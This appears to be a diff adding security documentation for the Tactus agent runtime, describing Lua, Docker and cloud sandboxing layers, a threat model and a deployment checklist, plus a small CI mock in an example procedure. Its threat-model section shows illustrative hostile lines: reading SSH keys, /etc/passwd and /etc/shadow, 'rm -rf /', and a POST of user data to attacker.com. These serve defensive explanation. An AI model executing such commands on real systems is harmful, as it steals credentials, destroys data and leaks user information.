16
+
17
+ 1. **Lua Sandboxing** protects your application from malicious agent code
18
+ 2. **Docker Sandboxing** protects your development machine from agent filesystem/network access
19
+ 3. **Cloud Sandboxing** protects users from each other in multi-tenant deployments
20
+
21
+ ---
22
+
23
+ # Layer 1: Lua Sandboxing (Language-Level)
24
+
25
+ **Purpose:** Enable safe execution of community-contributed agent procedures.
26
+
27
+ ## What It Protects Against
28
+ - Malicious Lua code attempting to escape the runtime
29
+ - Unauthorized access to Lua standard library functions
30
+ - Code injection attacks via procedure parameters
31
+
32
+ ## How It Works
33
+ - **Restricted VM:** Lua procedures run in a sandboxed virtual machine
34
+ - **Limited stdlib:** Only safe standard library functions are exposed
35
+ - **Tool-mediated access:** All I/O operations must go through registered tools
36
+ - **No eval:** Dynamic code execution is disabled
37
+
38
+ ## Example: Embeddable Safety
39
+ \`\`\`python
40
+ from tactus import TactusRuntime
41
+
42
+ # Safe to run user-contributed agent code
43
+ runtime = TactusRuntime()
44
+ result = await runtime.execute(
45
+ source=user_submitted_agent, # Safe even if malicious
46
+ context={"user_data": sensitive_data}
47
+ )
48
+ \`\`\`
49
+
50
+ The Lua sandbox ensures that even malicious agent code cannot:
51
+ - Access files directly (must use filesystem tool)
52
+ - Make network requests directly (must use web tool)
53
+ - Execute arbitrary system commands
54
+ - Escape the Lua VM to Python
55
+
56
+ ## Limitations
57
+ Lua sandboxing **cannot** protect against:
58
+ - Agents using filesystem tools to read/modify sensitive files
59
+ - Agents using web tools to exfiltrate data
60
+ - Agents consuming excessive memory or CPU
61
+
62
+ For these threats, you need **OS-level sandboxing** (Docker or cloud).
63
+
64
+ ---
65
+
66
+ # Layer 2: Docker Container Sandboxing (OS-Level)
67
+
68
+ Docker sandboxing provides **OS-level isolation** for Tactus agent execution. This layer protects your development machine from agents that use filesystem or network tools.
69
+
70
+ ## Quick Start
71
+
72
+ \`\`\`bash
73
+ # Runs in Docker by default (if Docker available)
74
+ tactus run my-agent.tac
75
+
76
+ # Check sandbox status
77
+ tactus sandbox status
78
+
79
+ # Rebuild sandbox image
80
+ tactus sandbox rebuild
81
+ \`\`\`
82
+
83
+ ## What It Protects Against
84
+ - Agents reading/modifying files on your host system
85
+ - Agents making unauthorized network requests
86
+ - Resource exhaustion (memory, CPU)
87
+ - Persistent state leakage between runs
88
+
89
+ ## How It Works
90
+ - **Fresh container per execution:** Each \`tactus run\` spawns a new Docker container
91
+ - **Ephemeral filesystem:** All files created during execution are destroyed when the container exits
92
+ - **Resource limits:** Memory (default 2GB) and CPU (default 2 cores) limits
93
+ - **Network isolation:** Controlled network access (default: bridge mode, allows outbound)
94
+ - **Volume mounts:** Only explicitly configured directories are accessible
95
+
96
+ ## Security-First Model
97
+
98
+ | Scenario | Behavior |
99
+ |----------|----------|
100
+ | Docker available | ✅ Runs in container automatically |
101
+ | Docker unavailable, sandbox not disabled | ❌ **ERROR:** Cannot run without isolation |
102
+ | \`--no-sandbox\` flag | ⚠️ Shows security warning, proceeds without Docker |
103
+ | \`sandbox.enabled: false\` in config | ⚠️ Shows security warning, proceeds without Docker |
104
+
105
+ ### Example: Docker Unavailable
106
+
107
+ \`\`\`bash
108
+ $ tactus run agent.tac
109
+
110
+ [SANDBOX ERROR] Docker not available: Docker daemon not running
111
+ [SANDBOX ERROR] Cannot run procedure without container isolation.
112
+ [SANDBOX ERROR] Either:
113
+ - Start Docker Desktop / Docker daemon
114
+ - Use --no-sandbox flag to explicitly run without isolation (security risk)
115
+ - Set sandbox.enabled: false in config to permanently disable (security risk)
116
+ \`\`\`
117
+
118
+ ### Example: Explicit Opt-Out
119
+
120
+ \`\`\`bash
121
+ $ tactus run agent.tac --no-sandbox
122
+
123
+ [SANDBOX] Container isolation disabled (--no-sandbox).
124
+ [SANDBOX] Proceeding without Docker isolation.
125
+
126
+ # Agent runs directly on host (security risk)
127
+ \`\`\`
128
+
129
+ ## Configuration
130
+
131
+ Docker sandboxing is configured through Tactus's standard configuration system. You can control:
132
+ - Resource limits (memory, CPU)
133
+ - Network access
134
+ - Volume mounts
135
+ - Environment variables
136
+ - Timeout settings
137
+
138
+ **Configuration can be set at multiple levels:**
139
+ - **Global**: User or project-wide settings in `~/.tactus/config.yml` or `.tactus/config.yml`
140
+ - **Per-procedure**: Sidecar files (e.g., `procedure.tac.yml`) for procedure-specific overrides
141
+
142
+ For detailed configuration syntax and examples, see the [Configuration Guide](./CONFIGURATION.md#sandbox-configuration).
143
+
144
+ ### Key Security Configurations
145
+
146
+ **Network isolation:**
147
+ ```yaml
148
+ sandbox:
149
+ network: "none" # Disable all network access
150
+ ```
151
+ Use for procedures handling sensitive data that don't need LLM API access.
152
+
153
+ **Resource limits:**
154
+ ```yaml
155
+ sandbox:
156
+ limits:
157
+ memory: "2g"
158
+ cpus: "2"
159
+ timeout: 3600
160
+ ```
161
+ Prevents resource exhaustion attacks and runaway procedures.
162
+
163
+ **Read-only data mounts:**
164
+ ```yaml
165
+ sandbox:
166
+ volumes:
167
+ - "/sensitive/data:/data:ro" # Read-only to prevent modification
168
+ ```
169
+ Allows procedures to access data without modification risk.
170
+
171
+ ### Sidecar Configuration Security
172
+
173
+ **Important**: Sidecar YAML files (`.tac.yml`) are **NOT sandboxed** like `.tac` procedure files. They are trusted configuration that can:
174
+ - Mount arbitrary host paths into containers
175
+ - Configure network access
176
+ - Set environment variables
177
+ - Reference Docker images
178
+
179
+ **Trust boundary:**
180
+ - **`.tac` files**: Sandboxed Lua code - safe for user contributions, AI generation, public sharing
181
+ - **`.yml` files**: Trusted configuration - only from trusted sources, review before use
182
+
183
+ **Best practice**: If accepting user-contributed procedures, accept only `.tac` files. Do NOT accept their `.yml` configuration files without thorough review.
184
+
185
+ See [Configuration Guide](./CONFIGURATION.md#per-procedure-sandbox-configuration) for examples and detailed syntax.
186
+
187
+ ## Performance
188
+
189
+ ### Startup Time
190
+
191
+ **Typical spinup:** ~1-2 seconds
192
+ - Docker image pull (first time only): +10-30s
193
+ - Container creation: ~500ms
194
+ - Python imports: ~500ms-1s
195
+ - MCP server startup: ~100-500ms
196
+
197
+ **Optimization tips:**
198
+ - Pre-build and cache Docker image
199
+ - Use lighter base images
200
+ - Lazy-load Python dependencies
201
+
202
+ ### Resource Usage
203
+
204
+ **Per-Container Overhead:**
205
+ - Memory: ~150-300MB (base Python + Node.js)
206
+ - Disk: ~500MB (image) + workspace size
207
+ - CPU: Minimal when idle
208
+
209
+ **Concurrent Execution:**
210
+ - 100 concurrent containers feasible on 32GB machine
211
+ - Each container isolated, no shared memory
212
+ - For higher concurrency, use cloud deployment (Lambda/Azure)
213
+
214
+ ---
215
+
216
+ # Layer 3: Cloud Sandboxing (Per-Invocation)
217
+
218
+ **Purpose:** Prevent information leakage between users in multi-tenant AI systems.
219
+
220
+ ## The AI Security Problem
221
+
222
+ Traditional security focuses on **unauthorized access**. AI systems introduce a new threat: **information leakage between sessions**.
223
+
224
+ ### Examples of AI Session Leakage
225
+ - **Checkpoint contamination:** User A's checkpoints accessible to User B
226
+ - **Context pollution:** User A's conversation influencing User B's agent responses
227
+ - **Tool state persistence:** Filesystem tool retaining User A's files in User B's session
228
+ - **Memory caching:** Embeddings or cached data from User A leaking to User B
229
+
230
+ This is a **fundamentally new threat model** that requires per-invocation isolation.
231
+
232
+ ## How Cloud Sandboxing Works
233
+
234
+ ### AWS Lambda
235
+ - **Per-invocation isolation:** Each agent execution runs in a fresh Lambda instance
236
+ - **No shared state:** Lambda instances are destroyed after execution
237
+ - **Built-in limits:** Memory, CPU, and timeout controls
238
+ - **Network isolation:** VPC support for controlled network access
239
+
240
+ \`\`\`python
241
+ # Lambda handler for Tactus agent
242
+ def handler(event, context):
243
+ runtime = TactusRuntime(
244
+ procedure_id=event['procedure_id'],
245
+ storage_backend=DynamoDBStorage() # Isolated per user/session
246
+ )
247
+
248
+ result = await runtime.execute(
249
+ source=event['procedure_source'],
250
+ context=event['input_params']
251
+ )
252
+
253
+ return result
254
+ # Lambda instance destroyed - no state persists
255
+ \`\`\`
256
+
257
+ ### Azure Durable Functions
258
+ - **Durable orchestration:** Long-running agents with checkpoint persistence
259
+ - **Per-invocation isolation:** Each orchestration runs in isolated execution context
260
+ - **State management:** Explicit state storage (Table Storage, Cosmos DB)
261
+ - **No cross-contamination:** State scoped to orchestration ID
262
+
263
+ \`\`\`csharp
264
+ // Azure Durable Function for Tactus agent
265
+ [FunctionName("TactusAgent")]
266
+ public static async Task<object> Run(
267
+ [OrchestrationTrigger] IDurableOrchestrationContext context)
268
+ {
269
+ var input = context.GetInput<AgentInput>();
270
+
271
+ var runtime = new TactusRuntime(
272
+ procedureId: input.ProcedureId,
273
+ storageBackend: new CosmosDbStorage(context.InstanceId)
274
+ );
275
+
276
+ var result = await runtime.Execute(
277
+ source: input.ProcedureSource,
278
+ context: input.Parameters
279
+ );
280
+
281
+ return result;
282
+ // Execution context destroyed - state only in Cosmos DB
283
+ }
284
+ \`\`\`
285
+
286
+ ## Tactus's Defense-in-Depth
287
+
288
+ 1. **Ephemeral execution:** No shared state between invocations by default
289
+ 2. **Explicit persistence:** Checkpoints/state must be explicitly saved to external storage
290
+ 3. **Scoped storage:** All storage backends scoped to user/session identifiers
291
+ 4. **No global state:** No in-memory caches or global variables between invocations
292
+
293
+ ## Production Best Practices
294
+
295
+ ### ✅ DO
296
+ - Use separate storage backends per user/tenant
297
+ - Scope checkpoint IDs to include user/session identifiers
298
+ - Clear any caches between invocations
299
+ - Use serverless functions for automatic isolation
300
+
301
+ ### ❌ DON'T
302
+ - Share storage backends between users
303
+ - Use global in-memory caches
304
+ - Persist tool state between invocations
305
+ - Reuse long-running processes for multiple users
306
+
307
+ ---
308
+
309
+ # Threat Model
310
+
311
+ ## Threat Categories
312
+
313
+ ### 1. Information Leakage (Session Contamination)
314
+
315
+ **Attack Scenarios:**
316
+
317
+ **Checkpoint Leakage**
318
+ \`\`\`
319
+ 1. User A runs agent, creates checkpoints with sensitive data
320
+ 2. Checkpoints stored in shared storage without user scoping
321
+ 3. User B runs agent, loads checkpoints from storage
322
+ 4. User B's agent now has access to User A's sensitive data
323
+ \`\`\`
324
+
325
+ **Context Pollution**
326
+ \`\`\`
327
+ 1. User A has conversation about confidential project "Project X"
328
+ 2. Agent context stored in global cache
329
+ 3. User B starts new conversation
330
+ 4. Agent responds with references to "Project X" from previous context
331
+ \`\`\`
332
+
333
+ **Tactus Defenses:**
334
+
335
+ ✅ **Per-Invocation Isolation**
336
+ \`\`\`python
337
+ # Each user gets fresh execution context
338
+ runtime = TactusRuntime(
339
+ procedure_id=f"agent-{user_id}",
340
+ storage_backend=get_user_storage(user_id) # Isolated storage
341
+ )
342
+ \`\`\`
343
+
344
+ ✅ **Scoped Storage**
345
+ \`\`\`python
346
+ # Checkpoints scoped to user/session
347
+ storage = S3Storage(
348
+ bucket="tactus-checkpoints",
349
+ prefix=f"users/{user_id}/sessions/{session_id}/"
350
+ )
351
+ \`\`\`
352
+
353
+ ### 2. Malicious Agent Code
354
+
355
+ **Attack Scenarios:**
356
+
357
+ **Filesystem Access**
358
+ \`\`\`lua
359
+ -- Malicious agent tries to read SSH keys
360
+ os.execute("cat ~/.ssh/id_rsa") -- Blocked by Lua sandbox
361
+ io.open("/etc/passwd"):read("*a") -- Blocked by Lua sandbox
362
+ \`\`\`
363
+
364
+ **Code Injection**
365
+ \`\`\`lua
366
+ -- Attacker tries to inject Python code
367
+ getmetatable("").__index.system("rm -rf /") -- Blocked by Lua sandbox
368
+ loadstring("malicious_code()")() -- Blocked (loadstring disabled)
369
+ \`\`\`
370
+
371
+ **Tactus Defenses:**
372
+
373
+ ✅ **Lua VM Sandboxing**
374
+ - Restricted standard library (no \`os\`, \`io\`, \`loadstring\`)
375
+ - All I/O through registered tools
376
+ - No dynamic code execution
377
+
378
+ ✅ **Docker Resource Limits**
379
+ \`\`\`yaml
380
+ sandbox:
381
+ limits:
382
+ memory: "2g" # OOM kills container if exceeded
383
+ cpus: "2" # CPU throttling
384
+ timeout: 3600 # Max execution time
385
+ \`\`\`
386
+
387
+ ### 3. Tool-Mediated Attacks
388
+
389
+ **Attack Scenarios:**
390
+
391
+ **Filesystem Tool Abuse**
392
+ \`\`\`lua
393
+ -- Agent tries to read sensitive files
394
+ call_tool("filesystem", {
395
+ action = "read",
396
+ path = "/etc/shadow" -- Blocked by container isolation
397
+ })
398
+ \`\`\`
399
+
400
+ **Web Tool Exfiltration**
401
+ \`\`\`lua
402
+ -- Agent sends user data to attacker's server
403
+ call_tool("web", {
404
+ url = "https://attacker.com/exfil",
405
+ method = "POST",
406
+ body = user_sensitive_data -- Network access allowed but logged
407
+ })
408
+ \`\`\`
409
+
410
+ **Tactus Defenses:**
411
+
412
+ ✅ **Container Filesystem Isolation**
413
+ \`\`\`bash
414
+ # Only workspace directory accessible
415
+ docker run -v /tmp/tactus-workspace:/workspace:rw
416
+ # No access to host filesystem outside mount
417
+ \`\`\`
418
+
419
+ ✅ **Tool-Level Authorization**
420
+ \`\`\`python
421
+ # Tools can implement permission checks
422
+ class FilesystemTool:
423
+ def read_file(self, path: str):
424
+ if not self._is_authorized(path):
425
+ raise PermissionError(f"Access denied: {path}")
426
+ \`\`\`
427
+
428
+ ✅ **Audit Logging**
429
+ \`\`\`python
430
+ # All tool calls logged for security audit
431
+ logger.info(f"Tool call: {tool_name}", extra={
432
+ "user_id": user_id,
433
+ "tool_args": args,
434
+ "timestamp": time.time()
435
+ })
436
+ \`\`\`
437
+
438
+ ⚠️ **Network Access**
439
+ - Outbound network access allowed by default (needed for LLM APIs)
440
+ - Use \`network: none\` in config to disable
441
+ - Consider implementing egress filtering for production
442
+
443
+ ## Threat Summary
444
+
445
+ | Threat | Lua Sandbox | Docker Sandbox | Cloud Sandbox |
446
+ |--------|-------------|----------------|---------------|
447
+ | Malicious agent code | ✅ Protects | - | - |
448
+ | Filesystem access | ❌ Cannot prevent | ✅ Protects | ✅ Protects |
449
+ | Network exfiltration | ❌ Cannot prevent | ✅ Protects | ✅ Protects |
450
+ | Resource exhaustion | ⚠️ Limited | ✅ Protects | ✅ Protects |
451
+ | Cross-user contamination | - | ⚠️ Same machine | ✅ Protects |
452
+ | Session leakage | - | ⚠️ Same machine | ✅ Protects |
453
+
454
+ ---
455
+
456
+ # Multi-Tenant Deployment Checklist
457
+
458
+ ## Development
459
+ - [ ] Docker Desktop installed and running
460
+ - [ ] Sandbox enabled in config (default)
461
+ - [ ] MCP servers reviewed for security issues
462
+ - [ ] Tool calls logged for debugging
463
+ - [ ] Resource limits configured appropriately
464
+
465
+ ## Staging
466
+ - [ ] Per-user storage backends configured
467
+ - [ ] Session identifiers scoped correctly
468
+ - [ ] Prompt injection mitigations tested
469
+ - [ ] Tool authorization implemented
470
+ - [ ] Security audit logs enabled
471
+
472
+ ## Production
473
+ - [ ] Serverless deployment (Lambda/Azure) for isolation
474
+ - [ ] Storage scoped to user/tenant/session
475
+ - [ ] Network egress filtering configured
476
+ - [ ] Tool calls audited and monitored
477
+ - [ ] Incident response plan documented
478
+ - [ ] Regular security reviews scheduled
479
+
480
+ ---
481
+
482
+ # Key Takeaways
483
+
484
+ 1. **Defense-in-depth:** Three layers address different threat models
485
+ 2. **Default security:** Sandbox enabled by default, opt-out requires explicit acknowledgment
486
+ 3. **AI-native design:** Built from the ground up to prevent session leakage
487
+ 4. **Embeddable safety:** Lua sandboxing makes Tactus safe for user-contributed code
488
+ 5. **Production-ready:** Cloud sandboxing provides multi-tenant isolation at scale
489
+ 6. **Information security DNA:** Per-invocation sandboxing prevents AI session leakage, a critical requirement for multi-tenant AI systems
490
+
491
+ ---
492
+
493
+ # Further Reading
494
+
495
+ - [Configuration Guide](./CONFIGURATION.md)
496
+ - [Durability & Checkpoints](./DURABILITY.md)
497
+ - [Tools Documentation](./TOOLS.md)
498
+ - [Docker Security Best Practices](https://docs.docker.com/engine/security/)
499
+ - [OWASP LLM Top 10](https://owasp.org/www-project-top-10-for-large-language-model-applications/)
@@ -45,6 +45,16 @@ Procedure {
45
45
  end
46
46
  }
47
47
 
48
+ -- Agent mock for CI testing (used when mocks are enabled)
49
+ Mocks {
50
+ greeter = {
51
+ tool_calls = {
52
+ { tool = "done", args = { reason = "Hello! Welcome! I hope you have a wonderful day." } }
53
+ },
54
+ message = "Hello! Welcome! I hope you have a wonderful day."
55
+ }
56
+ }
57
+
48
58
  Specifications([[
49
59
  Feature: Simple Agent Interaction
50
60
  Demonstrate basic LLM agent interaction with done tool